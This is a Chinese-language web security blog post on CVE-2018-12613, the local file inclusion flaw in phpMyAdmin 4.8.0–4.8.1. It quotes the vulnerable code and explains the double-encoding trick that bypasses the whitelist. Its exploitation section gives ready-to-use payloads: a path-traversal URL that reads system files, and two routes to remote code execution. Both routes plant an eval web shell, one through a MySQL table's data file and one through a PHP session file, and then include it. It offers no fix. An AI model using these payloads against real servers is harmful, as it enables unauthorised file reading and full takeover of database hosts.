1、漏洞介绍

描述:phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成LFI漏洞。

受影响的系统版本:

phpMyadmin 4.8.0
phpMyadmin 4.8.1

漏洞编号:CVE-2018-12613

2、漏洞详情

/index.php  Line 54–63:

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里$target是我们可控的,如果传入任意文件就会造成LFI,传入的$target需要满足四个条件:

1、是一个字符串

2、不能是index开头

3、不能在$target_blacklists数组内

4、满足Core 类中checkPageValidity()函数

 

/libraries/classes/Core.php   Core::checkPageValidity():

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
        if (in_array($page, $whitelist)) {
            return true;
        }
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        return false;
    }

只要函数返回true就能任意文件包含,分析代码发现有三处可以返回true,分别看看:

 if (in_array($page, $whitelist)) {
            return true;
}

第一处只要存在$whitelist中就可以返回true,我们要构造文件包含漏洞,读取任意文件显然不会在白名单,不能利用。

 $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

第二处对$page经过处理再与$whitelist进行比较,先说一下各个函数的作用:

mb_substr():用于获取部分字符串,类似于substr()函数,语法:

string mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] )

从$str字符串中,提取从$start位置开始,长度为$length的字符串。

mb_strpos():查找字符串在另一个字符串中首次出现的位置。

不难发现第二处可以绕过返回true,传入 xxx.php?/../../../../格式就可以达到目的,但是传入xxx.php?/../../../asd.txt

就会 include  xxx.php?/../../../asd.txt  是不能利用的,因为php会把?号后面的东西当成xxx.php文件的参数而不是文件

$_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;

和第二处对比多出了个urldecode()函数。而问题恰恰出在了这个urldecode()函数。
可以利用双重编码绕过,将?经过两次编码%253f就可以绕过白名单验证,因为%253f 传入时,会被自动解码一次,变成%3f,然后urldecode()再解码一次,就变成了 ?,成功绕过了白名单限制。这样传入xxx.php%253f/ ../../../asd.txt就可以任意包含本地文件了。

include  xxx.php%3f/../../../asd.txt

3、漏洞利用

3.1、包含本地系统文件

payload:
/index.php?target=xxx.php%253f/../../../../../../windows/system.ini

3.2、命令执行

有两种姿势可以RCE。

3.2.1利用mysql的data文件:

创建一个名为asd的表,字段设置为<?php @eval($_GET[‘virtua1’]); ?>,保存,在\MySQL\data\test(数据库名称为text)目录下生成三个以数据表名命名的文件。

payload:
/index.php?virtua1=phpinfo();&target=xxx.php%253f/../../../../../../../../phpstudy/PHPTutorial/
MySQL/data/test/asd.frm
3.2.2利用PHP session序列化数据:

登录phpmyadmin时,系统就会产生一个sess_sessionID文件,执行的操作,会被记录到这个文件里。打开sql查询,执行sql语句SELECT’<?php @eval($_GET[virtua1]); exit();?>’。打开控制台。获取自己的sessionID。知道文件名接下来就是利用包含漏洞了,要知道sessionID文件的路径,每种环境搭建方式的不同,文件路径也会不同。

在Linux下,常见的文件路径为:

/var/lib/php/session/

在Windows下:

phpstudy集成软件环境下,文件路径为:

/phpstudy/PHPTutorial/tmp/tmp
payload:
/index.php?virtua1=phpinfo();&target=xxx.php%253f/../../../tmp/tmp/文件名

 

分类: Web Security

发表评论

电子邮件地址不会被公开。 必填项已用*标注